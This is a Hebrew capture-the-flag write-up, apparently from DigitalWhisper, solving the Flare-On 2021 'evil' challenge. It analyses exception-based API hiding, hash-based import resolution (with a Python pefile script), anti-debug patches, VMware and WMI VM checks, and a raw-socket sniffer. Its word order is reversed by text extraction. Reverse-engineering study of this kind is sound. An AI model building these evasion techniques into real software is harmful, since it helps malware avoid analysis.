 מאוד טובה בצורה אותנו לשמש שיכול מחשבתי קו הוא אליו אותנו הוביל הזה שהאתגר המחשבתי הקו אך

 כמעט שהיא בצורה האתגר את פתרנו, כן כמו. כבדה אובפוסקציה שעברו סקריפטים עם התמודדות בכל

, שלנו המחקרית המתודלוגיה את לחדד גם לנו אפשר האתגר, ובכך, שלנו target-ל לחלוטין אגנוסטית

  .כחוקרים לנו שיש ביותר החשובים מהכלים אחד שהיא
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  Evil - ; אתגר

Mandiant's unofficial motto is "find evil and solve crime". Well here is evil but forget crime, solve challenge. 

Listen kid, RFCs are for fools, but for you we'll make an exception :) 

 ככה, מאוד מהר יוצא שהוא ונראה, אותו להריץ ננסה. evil.exe בשם PE קובץ שוב מקבלים אנו זה באתגר

 כל או) IDA-ב הבינארי מבחינת מנוס אין, לכן. שלו הפונקציונליות לגבי מהירה מהרצה insight שום לנו שאין

 (:אחר סטטי ניתוח כלי

 

 main-ה את מפרשת לא IDA-ש כיוון נכשל שהנסיון נראה, גרף למצב לעבור מנסים כשאנחנו, מוזר

 :כפונקציה

 

 ביכולת לפגוע היה שאמור משהו כאן טמון האם ולראות, main של בתוכן קדימה קצת להסתכל ננסה

 .הניתוח
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 :לכאן מגיעים אנחנו מאוד מהר

 

. NULL dereference bug - הכל ולפני, בהצלחה כקוד מתפרשים שלא איזורים, הגיונית לא קריאות, וול

 :( רציני טרול כאן לנו שארגנו נראה

 שהפונקציה נראה. שראינו exception-ה של handler-ה את למצוא נצטרך, באמת כאן קורה מה להבין כדי

 שמטפל זה שהוא להיות שיכול ככה, SEH מבוסס exception handler למעשה main בתחילת מגדירה

 עוד VEH באמצעות ומגדיר( init_array של בסגנון) main-ה לפני שרץ קוד שיש להיות יכול, כן כמו. בחריגה

exception handler ,הללו בחריגות לטפל שאמור . 

 את ראשית לבחון החלטנו, כולו לאורך כאלה בחריגות שימוש הראתה הבינארי על כללית והסתכלות מאחר

 :init_array-ה של הכתובת את הבינארי של entry point-ב נאתר כך לשם. VEH-ב שימוש של האופציה
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. אחרת או כזו בצורה VEH מגדירה מהן אחת האם ולבדוק, כאן רואים שאנו הפונקציות על לעבור כעת ננסה

 עליהן לעבור נתחיל. _621222sub-מ החל מתחילות המעניינות שהפונקציות נראה, מהירה מהסתכלות

 :השנייה אחר אחת

 

 לכתוב באמת צורך אין. ריצה בזמן שמפוענח כלשהו סטרינג כאן שיש לנו מראה מהירה סטטית הסתכלות

 הרלוונטית בנקודה בדיבאגר BP לשים פשוט זאת במקום ואפשר, עבורנו הסטרינג את שיפענח סקריפט

 .מכיל הסטרינג מה ולראות, האתחול אחרי
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 בכתובת BP ונשים, ריצה בזמן נטען הוא בה הכתובת לפי שלנו לבינארי IDA-ב rebase נעשה, כך לשם

 :הערך את מכיל הסטרינג כי לראות ניתן, הזו הפשוטה הפעולה ידי על. בדיבאגר אותנו שמעניינת

“1s_tHi$_mY_f1aG@flare-on.com” 

 

 :הבאה הפונקציה תחילת על נסתכל. הלאה נמשיך, מעניין לא - fake flag, טוב

 

-ה את מזכיר שמאוד לסטרינגים decrypt עושה אמנם היא. יותר כבדה משמעותית בפונקציה מדובר, אוקי

decrypt על מסוימים מבנים מאתחלת, ובמקביל, פעמים 7 בערך זה את עושה היא אך, לכן קודם שראינו 

 הקודמת מהפונקציה מהיר טריק באותו נשתמש, ראשית. הללו המפוענחים הסטרינגים בסיס על המחסנית

 :שפוענחו הסטרינגים כל את לחלץ מנת על
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 עם ותעבוד אותם תטען הנראה ככל שהתכנית להסיק אפשר. ים-DLL של שמות ברשימת מדובר אז, מגניב

APIs ה של השמות סמך על מאותחלים מבנים איזה להבין ננסה, כעת. מתוכם-DLL-לב לשים ננסה. הללו ים 

 . patterns-ל

 של ctor-ל מועבר הוא, DLL שם של פענוח כל שאחרי הוא, בפונקציה לראות שאפשר הראשון הדפוס

 באופסטים, כלשהו ייחודי unsigned int של בצירוף מסוים למבנה מוכנס מכן ולאחר, כלשהו אובייקט

 :עוקבים

 

 

 כלשהם רפרנסים שלהם ctor / dtor-ב לחפש היא, מדובר מבנים באיזה להבין ביותר הקלה הדרך

 ctor-ה על נסתכל. שנזרקים exceptions-ב כלל בדרך, שלהם type-ל אינדיקציה שנותנים לסטרינגים

 :אורכו ואת שפוענח הסטרינג את שמקבל שראינו

 

 במקרה לה קורא שהוא שהפונקציה להניח סביר. מאוד גדול size שיש במקרה מטפל הוא, לראות שניתן כפי

 . exception שזורקת פונקציה היא, הזה
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 :האובייקט לסוג אינדיקציה נותנת היא האם לראות מנת על בתוכה נסתכל

 

 לאיזה להסתכל כעת ננסה. שכל הסתם מן שעושה מה, פשוט string-ב שמדובר להסיק אפשר אז, נחמד

 :בפונקציה המדובר למבנה xrefs נחפש, כך לשם. מוכנסים האלה הסטרינגים מבנה

 

. לב אליו ששמנו בדפוס באתחולים בעיקר ומדובר, ctor-ל קריאה מקום בשום אין אך, xrefs המון לראות ניתן

 האם ולראות למטה לקפוץ ננסה. 2-ל memset-מ יותר דבר שום \ הפונקציה לתוך inlined שהיא כנראה

 :dtor-ל קריאה לנו קופצת

 

 . שכל עושה גם, vector-ב מדובר אז, מגניב
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 משהו איתו קורה האם להבין מנת על, dtor-ל הקריאה לפני שמופיע לוקטור xref-ה על להסתכל כעת ננסה

 :מעניין

 

 אובייקט אליה ומועבר פונקציה נקראת, איטרציה ובכל, הוקטור על איטרציה מתבצעת, לראות שניתן כפי

 יSTL אובייקט בעוד הנראה ככל שמדובר נראה. הראשית הפונקציה בגוף inlined שלו ctor-שה, מסוים

 :שלו לסוג כלשהי אינדיקציה יש האם הפנימית בפונקציה להסתכל ננסה, ולכן, כלשהו

 

 

 של set-ב שמדובר להיות יכול. set או map-ב מדובר הנראה שככל אינדיקציה לנו מביא הטריק אותו, כרגיל

 הכנסה באותה אליו שמתאים DLL לשם שראינו unsigned int-ה בין מסוים map-ב או, ים-DLL-ה שמות

-ה בין המיפוי את נשמור, global_dll_map_or_set בשם לאובייקט הגלובלי הרפרנס את נתייג. לוקטור

unsigned int לבין DLL הבאה לפונקציה ונמשיך, בצד בדף: 
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 :כזו הבאה הפונקציה שגם נראה. במיוחד מעניין לא, כלשהו גלובלי אובייקט של אתחול

 

 :אחריהן הבאה לפונקציה כעת נעבור

 

 הקבוע בטריק נתחיל. משהו איתו מבצעת, מכן ולאחר, כלשהו סטרינג עוד מפענחת הזו שהפונקציה נראה

 :שפוענח הסטרינג את לשלוף כדי בדיבאגר

 

 ננסה, סטטית בהסתכלות מורכבות מעט LoadLibraryA של הפענוח לאחר שנקראות שהפונקציות מכיוון

 :בפועל התוצאה את ולראות אותן להריץ

 

 LoadLibraryA את ריצה בזמן מרזלבת הזו שהפונקציה הוא כאן שקורה מה כ"שבסה נראה אז, נחמד

 .on demand שבנינו מהרשימה ים-DLL-ה את לטעון מנת על כנראה, גלובלי במשתנה אותו ושומרת
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 :הבאה לפונקציה נמשיך

 

, לנתח שנצטרך קוד של כמויות חושפת ctor-ב פנימה הסתכלות. כלשהו גלובלי ctor-ל קריאה כמו נראה

 הפונקציה של מניתוח נימנע כרגע ולכן, rabbit hole כמו נראה. כלשהי מהירה מציאה על שמצביע דבר ושום

 . הזו

 בשלב רלוונטי אותו ונמצא במידה שלו האתחול את לנתח לנו שיזכיר שם שמאותחל הגלובלי לאובייקט ניתן

 :הבאה לפונקציה ונעבור, מסוים

 

 מאתחלת מכן ולאחר, כפרמטרים unsigned ints שני עם כלשהי לפונקציה קוראת הזו שהפונקציה נראה

 .כפרמטר ניתחנו שלא אובייקט אותו את לו ומעבירה, נוסף גלובלי אובייקט

 :members מאתחל כ"בסה והוא, מאוד פשוט הקודם ctor-ה לעומת הזה ctor-ה
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 :בתוכה מהיר מבט ניתן. עושה integers-ה שני את שמקבלת הפונקציה מה להבין ננסה

 

 שרוזלב LoadLibraryA-ל וקוראת ים-DLL-ה של הגלובלי map / set-ל רפרנס מבצעת היא, לראות שניתן כפי

 :המשכה על נסתכל… בתחילתה DLL טוענת שהיא נשמע. דינמית
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 והשוואתו export כל על האש חישוב, שנטען DLL-ה של exports-ה על איטרציה כמו מאוד מריח הזה החלק

 השאלה. APIs של דינמי resolving פונקציית שזו להגיד בסבירות ניתן, כך אם. לפונקציה השני לפרמטר

 כלשהו id שהוא להניח גבוהה בסבירות ניתן. הראשון הפרמטר משמעות מה היא, כך אם שנותרה היחידה

 :ים-DLL-ה של map / set-ל בצמוד בו שימוש יש שבאמת לראות וניתן, DLL-ה של

 

 מצלצל הוא. 5036000x הוא ראשון כפרמטר שהועבר שהערך ונראה, לפונקציה שראינו הקריאה על נסתכל

 / global DLL set-ה של באתחול שראינו integers-מה כאחד מופיע הוא, זוכרים אתם שאם כיוון, מאוד מוכר

map: 

 

 האשינג באלגוריתם שימוש יש. imports של הדינמי הרזלוב הזה בבינארי עובד כיצד מבינים אנחנו, כך אם

custom ב שימוש ויש, הפונקציה של השם עבור כלשהו-hash map בין לנו שממפה id של DLL השם לבין 

, כך לשם. השביעי בשלב כמו, נוח rainbow table כאן גם לנו שיבנה קצר פייתון סקריפט נכתוב. בפועל שלו

 :בדיוק מחושב ההאש כיצד נבדוק
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 :מתאים סקריפט לכתוב נוכל, האלגוריתם את מבינים כשאנחנו, כעת

import pefile 

def hash_function_name(name): 

    if not name: 

        return 0 

    

    hash = 0x40 

    for c in name: 

        hash = (ord(c) - hash * 0x45523F21) & 0xffffffff 

    

    return hash 

 

def build_function_map(dll): 

    pe = pefile.PE('C:\\Windows\\System32\\' + dll, fast_load=True) 

 

    eat_directory_entry = 

pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_EXPORT'] 

    pe.parse_data_directories(directories=[eat_directory_entry]) 

 

    return dict(map(lambda export: (hash_function_name(export.name), 

export.name), pe.DIRECTORY_ENTRY_EXPORT.symbols)) 

 

dll_map = { 

    0x176684: build_function_map('ntdll.dll'), 

    0x246132: build_function_map('kernel32.dll'), 

    0x52325: build_function_map('ws2_32.dll'), 

    0x234324: build_function_map('user32.dll'), 

    0x523422: build_function_map('advapi32.dll'), 

    0x43493856: build_function_map('gdi32.dll'), 

    0x4258672: build_function_map('ole32.dll'), 

    0x7468951: build_function_map('oleaut32.dll') 

} 

 

def get_function_name(dll_hash, function_hash): 

    if dll_hash not in dll_map: 

        raise ValueError('Invalid DLL hash') 

 

    function_map = dll_map[dll_hash] 

    if function_hash not in function_map: 

        raise ValueError('Invalid function hash') 

 

    return function_map[function_hash] 

 :שניתחנו בפונקציה שרוזלב API-ה מה לבדוק נוכל, סקריפט בידינו כשיש, כעת

 

 אז, לעומק מספיק אותו הבנו ולא, בו שימושים ניתחנו לא אך, האובייקט מורכב ממה בגדול הבנו אז. מגניב

 להיכנס מאוד מפתה זה. הבאה לפונקציה ונעבור, מספק ניתוח עבר לא שהוא מתאים שם עם IDB-ב נסמן
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 זה אם רק אליהם לחזור ולדעת, עליהם לדלג לב לשים צריך אך, ערך ייתנו בהכרח שלא rabbit holes-ל

 :הבאה בפונקציה נסתכל. הצורך במידת ולחזור, שקט די בראש הלאה להמשיך אפשר, כרגע. נחוץ באמת

 

 שיטפל, כלשהו VEH הגדיר הבינארי האם להבין כדי היא, הזה הסיפור לכל שנכנסו הסיבה, מראש! בינגו

, כלשהו API של resolving רואים אנחנו כאן. נכון control flow וינחה בתוכו זורק שהוא האקספשנים בכל

-ה - AddVectoredExceptionHandler שהוא לראות ניתן, לכן קודם שכתבנו בסקריפט שימוש שבאמצעות

API הוספת על שאחראי VEHבו שימוש יש הבאות בפונקציות האם כעת להסתכל ננסה. ים: 

 

 מה של טובה הבנה עם ויצאנו, init array-ה כל על לעבור כעת הספקנו, למעשה. handler לנו יש. בום

 של דינמי resolving-ב בו נרחב שימוש שיש ים-DLL של גלובלי map מאותחל - רץ main-ש לפני שקורה

imports ,ומאותחל, בהמשך בהם ניתקל שאולי גלובליים אובייקטים שני מאותחלים VEH .אותו ננתח, כעת ,

 :באמת מתנהג main-ה כיצד להבין מנת על

 

 ומנסה, exception-ה ברגע רד'הת של מהקונטקסט EDX-ו ECX את שולף handler-ה, לראות שאפשר כפי

 exception handler לחפש ההפעלה למערכת מודיע הוא, מצליח לא הוא אם. import באמצעותם לרזלב

' פץ'מפצ, RWX-ל כרגע שרץ הקוד שבו הדף של ההגנה את משנה הוא, מצליח כן הוא אם, זאת לעומת. אחר

 API-ה של הכתובת את eax-ב שם, call eax הפקודה למעשה שהוא, FF D0 לאופקוד eip+3-ב הקוד את

 .שלו המקורית ההגנה את הקוד לדף ומחזיר, 3-ב eip את מקדם, שרוזלב



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 7;  4243 נובמבר ,357גליון 
 

 context-ה עם, עצרה היא שבו מהמקום ההרצה את להמשיך ההפעלה למערכת מודיע הוא, מכן לאחר

 יפה דרך כ"בסה הם שראינו exceptions-ה כל - ברורה הבינארי התנהגות שכעת נראה, כך אם. העדכני

 resolving סמך על הפעלה מערכת של APIs-ל בקריאות מדובר, ובפועל, הבינארי של מחקר על להקשות

 .vectored exception handler באמצעות דינמי

 - הבא התרחיש את קחו. למעשה race condition מכיל הזה שהמימוש הוא, כאן לב אליו לשים מעניין משהו

-ל לקרוא מנת על VEH-ה דרך עוברות ושתיהן, דף באותו שנמצאות פונקציות במקביל מריצים תרדים שני

APIs ל במקביל יקראו הפונקציה ושתי במידה. ההפעלה מערכת של-API להיות עשוי, ההפעלה מערכת של 

 . call eax-ב הרלוונטי המקטע את' פץ'לפצ מנת על RWX-כ הקוד לדף VirtualProtect עושות שתיהן בו מצב

 עם המקורי לדף מחדש VirtualProtect לעשות מספיק אחד תרד שבו תזמון להיות יכול, הזה המצב תחת

. call eax עם הדף את' פץ'לפצ הספיק השני שהתרד לפני(, RX להיות שאמורות) המקוריות ההרשאות

 . בו שיטפל מי יהיה לא הנראה שככל exception יעוף, הזה במקרה

 לא שהבינארי כדי זאת לתקן חייבים נהיה אך, היוצרים של בבאג או, מהאתגר בחלק מדובר אם ברור לא

 הקריאה את' פץ'לפצ היא, הזו ההתנהגות עם להתמודד מאוד הפשוטה הדרך. קרובות לעתים יקרוס

 כך, המקוריות ההרשאות במקום PAGE_EXECUTE_READWRITE של פרמטר עם VirtualProtect-ל השנייה

 :בחזרה המקוריות הרשאותיו את יקבל לא לעולם שהדף

 

 

 

 למצוא נצטרך, קטן race ופתרנו, באמת נראה control flow-ה איך, מתנהג הבינארי כיצד כשהבנו, כעת

 .הזו anti-analysis-ה טכניקת עם להתמודד טובה דרך
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 כך, FF D0 90-ב exception-ה את שזורקת ההוראה שלאחר הבתים את' פץ'לפצ היא הטריויאלית הדרך

 והדיקומפילציה control flow-ה גרף את לנו לבנות ויוכל, nop-ו call eax-כ אותם יפרש שהדיסאסמבלר

 . מסודרת בצורה

 APIs-ה את שמכיל IAT מחדש להרכיב שיצליח יותר מורכב פתרון לייצר היה ניתן הנראה ככל אמנם

 תהיה הזו שהשיטה להניח סביר אך, אקספשנים זריקות במקום אליהם ישירות וקריאות אותנו שמעניינים

 התברר זה אך, עבורנו' פץ'שיפצ IDAPython סקריפט לכתוב ראשית חשבנו. הפרויקט עבור יעילה מספיק

-ו נוחים מקלדת קיצורי עם בערך שעה חצי של ידני' פוץ'פצ על והתפשרנו, לתועלת ביחס מדי כיקר

clipboard ה פונקצית על נסתכל. ויעיל זול. צריכים שאנחנו מה כל את שמכיל-main מ) כעת העדכנית-view 

 מקשה טיפה כאן שיש שהאובפוסקציה מכיוון, decompiler output של ולא כרגע disassembly graph של

 (:סטנדרטית בצורה decompiler עם לעבוד עלינו
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 ננתח. מסוימת פנימית לפונקציה קריאה יש, מכן ולאחר, heap-ה על באפרים מספר שמאולקצים נראה

 . כעת אותה

 כיצד ונראה, גם בדיקומפיילר עליה נסתכל, יחסית מורכב data flow בה שיש בפונקציה ומדובר מאחר

 :מיטבית בצורה דיקומפיילר עם לעבוד ומצליחים האובפוסקציה עם מתמודדים

 

 מסוים member בתור שלו והשמה כלשהו אובייקט של באלוקציה מתחילה שהפונקציה לראות ניתן

 נראות המוזרות והקריאות exceptions-ה כיצד לראות ניתן, מכן לאחר. עמו נקראה שהפונקציה באובייקט

 . באפס מחלוקה שיצא לערך קריאות או nullptr-ל קריאות - בפועל
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 בקריאה או הקריאה בסביבת לנו יש שעדיין לראות ניתן, מאוד מוזרות האלה שהקריאות העובדה למרות

 API-ה את comment-ב לשים נוכל ולכן, import-ל הדינמי resolving-ה עבור id-וה ההאש את עצמה

 :אדם בני כמו הבינארי את ולנתח, כזו קריאה כל ליד הרלוונטי

 

 !לעבוד מה עם יש עכשיו. מגניב

 - כלשהו גלובלי משתנה מאותחל שלה התוצאה סמך שעל, GetSystemTime-ל קריאה ראשית רואים אנחנו

 מכן ולאחר, DbgBreakPoint של דינמי resolving לראות ניתן, מכן לאחר. כלשהו prng-ל seed כנראה

 את להגדיר כדי VirtualProtect-ב שימוש ידי על, במקור בו שיש int3-ה במקום ret הוראת עם שלו' פוץ'פצ

 . אחריה המקוריות ההרשאות את ולאחזר, הכתיבה לפני RWX-כ הדף

 ידי על שליטה להשיג לו ומאפשרת, לפרוסס attach עושה דיבאגר כאשר נקראת DbgBreakPoint הפונקציה

 שליטה להשיג הדיבאגר של היכולת, ret-ב int3-ה של ההחלפה באמצעות. int3 של exception זריקת

 . כללי באופן anti analysis או anti debug היא הזו הפונקציה של שהמטרה כך אם מאוד מריח. נשברת
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 :נמשיך

 

, DbgUiRemoteBreakin ריצה בזמן מרוזלבת זה במקטע, הקודם המקטע את מאוד שמזכירה בצורה

 .דיבאגר באמצעות לפרוסס חיצוני attach מתבצע כאשר שנקראת פונקציה

 עם( ריצה בזמן גם שמרוזלב) TerminateProcess-ל קריאה עם ת'פצ'מפוצ הפונקציה, resolving-ה לאחר

 לפרוסס handle יהווה תמיד 1- הערך - pseudo handle, למעשה) הנוכחי לפרוסס handle שהוא פרמטר

 (. הנוכחי רד'לת handle יהווה תמיד 0- והערך, הנוכחי

 :ההמשך על כעת נסתכל. לפרוסס ריצה בזמן attach לעשות מאיתנו מונע הזה המקטע, למעשה

 

 . בנפרד אחת כל ננתח. נפרדות לפונקציות קריאות שתי כאן שיש נראה
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 מסרב והדיקומפיילר מאחר, decompiler-ה על במקום שלה CFG-ה על ונסתכל, הראשונה עם נתחיל

 (:מדוע נראה מיד) איתה להתמודד

 

 :הבאים basic blocks-ל נתקדם. מעניין משהו לא, SEH של כלשהו אתחול עם מתחילה שהפונקציה נראה

 

 exception לזריקת לגרום שאמורה, in בהוראת שימוש רואים אנחנו - יותר מעניינת ללוגיקה הגענו, מגניב

 לאחר(. 2 להיות תמיד כמעט שמוגדר, IOPL-מה גבוה CPL-ה אם GP# תזרוק היא) ביוזרמוד רגילה בהרצה
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 להריגת מוביל, 2-מ גדול הוא ואם, in-ה הוראת תוצאת את שמקבל ערך על מסוימת בדיקה יש, מכן

 58280x564d בערכים שמדובר ונראה, IN-ה הוראת הרצת בעת dx-וב rax-שב הערכים את נחשב. התהליך

 וזו, VM בתוך הרצה לזיהוי שיטות שמפרט VMWare של בפורומים עמודל מוביל שלהם גיגול. 57580x-ו

 בתוך להרצה אינדיקציה backdoor-כ בו משתמש שההייפרוייזור I/O port על שמתבססת שיטה באמת

VMWare .בשם הזו הפונקציה את לתייג ניתן, כך אם anti_vmware ,שראינו השנייה לפונקציה ולעבור: 

 

 namespace שהוא", ROOT\\CIMV2" הסטרינג את המחסנית על בונה שהפונקציה לראות ניתן, בגדול

 מבוססות מסוימת התממשקות פה שיש לראות ניתן באמת. WMI של המחלקות רוב נמצאות שבתוכו

COM ,לבצע לתכנית תאפשר הנראה שככל WMI queries הלאה נמשיך. רצה היא שבה המכונה על: 

 

https://kb.vmware.com/s/article/1009458
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, במיוחד רלוונטית שלא COM פונקצית לעוד קריאה, האובייקט על נוספת לפונקציה קריאה רואים אנחנו

 WMI תבצע הפנימית שהפונקציה מסתמן". DeviceId" הסטרינג עם פנימית לפונקציה קריאה מכן ולאחר

queries ב ריצה לזהות כדי-VM הפונקציה של למימוש הצלילה לפני רגע הפונקציה סוף על נסתכל. כן גם 

 :הפנימית

 

 החזירה הפנימית והפונקציה במידה הפרוסס את סוגרת מכן ולאחר, COM משאבי מנקה שהפונקציה נראה

 על נוסף זמן לבזבז ולא anti_vm בתור הפונקציה את להגדיר אפשר, כך אם. VM-ב הרצה שמייצגת תוצאה

מאחר והבינארי רץ . שלה ניתוח

במקרה שלנו ישירות על המכונה 

 הללו הפונקציות, VM ולא תחת

, ממש אותנו לעניין אמורות לא

 היינו, VM-ב רצים היינו אילו אך

 הקריאות את' פץ'לפצ צריכים

 . NOP-ב אליהן
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 :הראשית anti_analysis-ה בפונקצית הלאה נמשיך

. השנייה אחרי אחת להן קוראת, מכן ולאחר, פונקציות של רשימה כלשהו למבנה דוחפת שהפונקציה נראה

 :אותן לנתח ננסה

 

 של שונות טכניקות מממשות הללו הפונקציות שכל מראה והשנייה הראשונה בפונקציות מהירה הסתכלות

anti debugging .עם כולן את' פץ'נפצ ret שנשתמש כמובן) שלנו הדיבוג על ישפיעו שלא כדי בהתחלה 

 כעת ונחזור(, anti debugging-ל מקום שום מותירים לא שאנחנו לוודא כדי ScyllaHide-ב גם במקביל

 anti-ו anti deubgging-ה טכניקות בגדול עובדות כיצד שהבנו אחרי, main-ה של הפונקציונליות על לעבודה

vm בתכנית. 

 בקריאה בשימוש שהיה באובייקט member-כ אותחלה המדוברת הפונקציות רשימת כי כמובן לב נשים

 על כעת נסתכל. התכנית בהמשך שוב בשימוש אותן שנמצא להיות ויכול, anti analysis-ה לפונקצית

 :main-ה של ההמשך

 

 validation-ו, קבוע שם בעל mutex יצירת מכן ולאחר, heap-ב מסוימים אובייקטים של אתחול לראות ניתן

 . כבר קיים לא שהוא
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 :הלאה נמשיך. רגע בכל רץ התכנית של יחיד instance שרק לוודא מנת על נעשה זה, הנראה ככל

 

 ונמשיך, thread_2-ו thread_1 בשמות שלהם entries-ה את נתייג. ים-thread שני של יצירה לראות ניתן

 ים-thread-ה של למימוש פנימה נחפור, הכללי הניתוח את כשנסיים. main-ה של הניתוח להמשך הלאה

 של הרשימה את שמכיל, anti analysis-ה של האובייקט כפרמטר מועבר שלשניהם גם לב נשים. עצמם

 anti debug של נוסף תפקיד משחקים הללו שהתרדים כך אם להניח סביר. anti debug-ה פונקציות

 :הלאה נמשיך, אופן בכל. בתכנית

 

 …כלשהו אובייקט של במיוחד מעניין לא אתחול עוד לראות ניתן
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 :הבא למקטע נמשיך

 

 פנימית לפונקציה קריאה, כן ואם, 0 היא לתכנית הארגומנטים שכמות בדיקה לראות כעת ניתן! מאוד מעניין

 entries-ל שניתן, תרדים שני עוד יוצרת התכנית, מכן לאחר. הראשון הארגומנט את שמקבלת מסוימת

. thread_4-ו thread_3 השמות את שלהם

 הפונקציה ושל שלהם למימוש שנצלול לפני

, main על שלנו הרפרוף את נסיים, הפנימית

 ית-high-level הבנה שיותר כמה לקבל כדי

 :התכנית של
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 הוא שמעניין מה. למיניהם משאבים ניקוי מכן ולאחר, התרדים של הריצה לסיום המתנה לראות ניתן

 פעמיים closesocket-ב השימוש

 שרומז מה, WSACleanup-וב

 כלשהי בתקשורת שימוש

  .Winsocks מעל בבינארי

 

 

 

 :כפרמטר התכנית של הארגומנט את שמקבלת, שראינו הפנימית הפונקציה של למימוש פנימה נצלול, כעת

 כתובת בתור התכנית של הארגומנט של פרסור, מכן ולאחר, כלשהי לפונקציה קריאה ראשית לראות יתןנ

IP ,של ואתחול Winsock .שנקראת הפונקציה על נסתכל: 

 

 

 :מהירה הסתכלות ניתן. ניתחנו שלא האובייקט של member function עוטפת שהיא נראה
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 אתחול אחרי, קודם עליה שהסתכלנו בפונקציה נמשיך… כרגע הניתוח את שווה שלא בלגן הרבה כמו נראה

 :לתכנית ארגומנט בתור שמועברת IP-ה כתובת ופרסור WSA-ה

 

 כמו לרוץ לתכנית לגרום שכדי נראה. שהועברה לכתובת bind לה ועושה, raw socket יוצרת הפונקציה

 :הבא למקטע נמשיך. ארגומנט בתור עליו תאזין שהיא שנרצה interface של כתובת להעביר נצטרך, שצריך

 

 יוצר המדובר IOCTL Code-ה. SIO_RCVALL עם WSAIoctl לפונקציה קריאה מתבצעת, לראות שניתן כפי

 דורשת הזו הקריאה. מסוים interface על התקשורת לכל להאזין raw socket-ל גורם הוא - למעשה סניפר

 כארגומנט לספק נצטרך - מוצלחת להרצה לגרום שכדי כך, אדמיניסטרטור של טוקן עם התהליך של הרצה

interface הלאה נמשיך. כאדמין התכנית את ולהריץ, עליו להסניף תקין: 
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 :איתו קורה מה נסתכל. נוסף סוקט נוצר, מכן ולאחר, שניות 12 של timeout המסניף לסוקט מוגדר

 

 לזה שיהיה בספק, SOCK_RAW מסוג בסוקט ומדובר מאחר. listening mode-ל מוגדר שהוא לראות ניתן

 :הלאה נמשיך. משמעות

 

, מכן לאחר. מסוים mutex גם נוצר, וכן, 26 של maximum count-ו 2 של initial count עם semaphore נוצר

 . מסוימת לפונקציה קריאה יש

  



 
 

 Flare-On 2021 פתרון אתגרי
www.DigitalWhisper.co.il 

 ;32  4243 נובמבר ,357גליון 
 

 :אותנו מעניינת היא האם להבין כדי הזו הפונקציה לתוך נצלול

 

 פונקציה הרצת של כתוצאה ריצה בזמן שמתקבלת פונקציה של כתובת סמך על thread יוצרת שהיא נראה

 הפונקציות או הפונקציה על לרמוז שעשויות הזו לפונקציה נוספות קריאות יש האם לראות ננסה. אחרת

 :thread entry points-ה בתור בפועל שנקראות

 

 של הרשימה את מקבל thread_1-ש ראינו, כזכור. זו לפונקציה קורא thread_1 גם, לראות שניתן כפי

 תפקיד משחקת הזו שהפונקציה להניח שסביר כך, anti_analysis-ב שמאותחלת anti deubg-ה פונקציות

 כמו, כלשהו אינדיקטיבי שם לה ניתן. עצמאיים רדים'ת בתוך ברשימה שנמצאות לפונקציות בקריאה

create_anti_debug_thread . 

 שני ביצירת מסתכמת הפונקציה של והלוגיקה, מעניינת לא anti debug בדיקת בעוד שמדובר נראה, כך אם

raw sockets - על שמאזין סניפר אחד interface כן כמו. מיוחדת בצורה מאותחל שלא ואחד לבחירתנו ,

 האובייקט את נגדיר, בהמשך עבודתנו על להקל כדי. mutex-ו semaphore גם מאתחלת הפונקציה

, כעת. בו הרלוונטיים fields-ה כל את ונקנפג, IDA-ב local type בתור( this בתור מסומן) לפונקציה שמועבר

 :וברורה נוחה יותר הרבה איתו העבודה

 

 ונמשיך, init_sockets כמו אינדיקטיבי שם שניתחנו לפונקציה ניתן. התכנית של הכללית ללוגיקה כעת נחזור

 תרדים שני עם CreateThread-ל קריאות שתי הופיעו, הזו הקריאה אחרי, כזכור. עצמה התכנית של לניתוח
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 שונה בסוקט מטפל מהם אחד שכל להניח ניתן. כפרמטר context-ה אובייקט את שמקבלים, שונים

 :שאותחלו מהסוקטים

 

 :thread_3 עם נתחיל. עצמם threads-ה את כעת ננתח
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 בכל שבה, מסוימת אינסופית לולאה מריץ, לא ואם, דלוק כלשהו עצירה דגל האם בודק ראשית שהוא נראה

 עם עושה הוא מה נסתכל. לו שסופק interface-ה על שעברו פאקטות להסניף מנסה הוא, איטרציה

 :להסניף שהצליח הפאקטות

 

 נזכור. הפאקטה של headers-ה ברמת מידע המון ומוודא, ספציפית מאוד ברמה אותן מפרסר שהוא נראה

 להבין כדי ידנית לפרסר ונתחיל, ip headers-מה החל raw packets בתור הפקטות את מקבל שהסניפר

 בדיקה עם נתחיל. לדוגמה פאקטות על ונסתכל, interface-ה על נאזין, wireshark נפתח. קורה מה בדיוק

 :ip headers-ב 9 באופסט יושב מה

 

 כך, 0x11 הוא הקבוע, UDP של במקרה. IP מעל שרוכב הפרוטוקול יושב הזה באופסט, נראה שזה כפי

 הראשון nibble-ה את שולפת התכנית, מכן לאחר. ספציפית UDP פאקטות לתפוס מנסה שהתכנית שנראה

 :הפאקטה של
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 של header-ה את שמכיל, payload-ה את לאתר ניתן שיהיה כך, ip header-ה אורך את מכיל שהוא נראה

 :הוא מה נבדוק. לאפס שווה לא 6 באופסט word-שה מוודאת התכנית, מתוכו. מעל שרוכב הפרוטוקול

 

, כלשהו במשתנה 8 פחות הערך אותו את שומרת התכנית, כן אחרי. מגניב. data-ה אורך כמו נראה

 :6352-ל שווה 0 באופסט word-שה לבדיקה וממשיכה

 

-ב 6352 לפורט UDP פאקטות הן לתכנית שמיועדות הפאקטות, כך אם. destination port-ב שמדובר נראה

interface קטן 2 בבית שהערך קטנה בדיקה מכן לאחר מיד נעשית, כן כמו. להאזין קונפגה התכנית שעליו 

 :כך נראה זה, האסמבלי ברמת. 2-מ

 

 ביותר המשמעותי שהביט נבדק, דבר של בסופו. הגיונית הדיקומפילציה, two's complement משיקולי

 :wireshark-ב הוא מה לראות ננסה. דלוק 2 בבית
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 בסיטואציה דלוק יהיה לא מעולם הוא, reserved והוא מאחר. flags-ב כלשהו reserved bit-ב שמדובר נראה

 ביט אותו. לתכנית להגיע שלנו לפאקטות לגרום בשביל במיוחד אותו להדליק נצטרך שאנחנו כך, סטנדרטית

 אחד של הומוריסטי RFC שהוא, RFC 3516-ב" evil bit" גם מכונה

 עם ברשת שנשלחות הפאקטות בכל שיודלק ביט שמציע באפריל

. קלה לבעיה ברשת האבטחה בעיית את יהפוך ובכך, זדונית מטרה

 :( האתגר שם הגיע משם, הנראה ככל

. הללו הבדיקות כל את שעוברות לפאקטות קורה מה כעת נסתכל

 .משמאל בתמונה זאת לראת נוכל

 

 

 

 

 

 

 :מכן לאחר קורה מה נסתכל. נפרד לבאפר מועתק בהן המידע, שראשית נראה

 

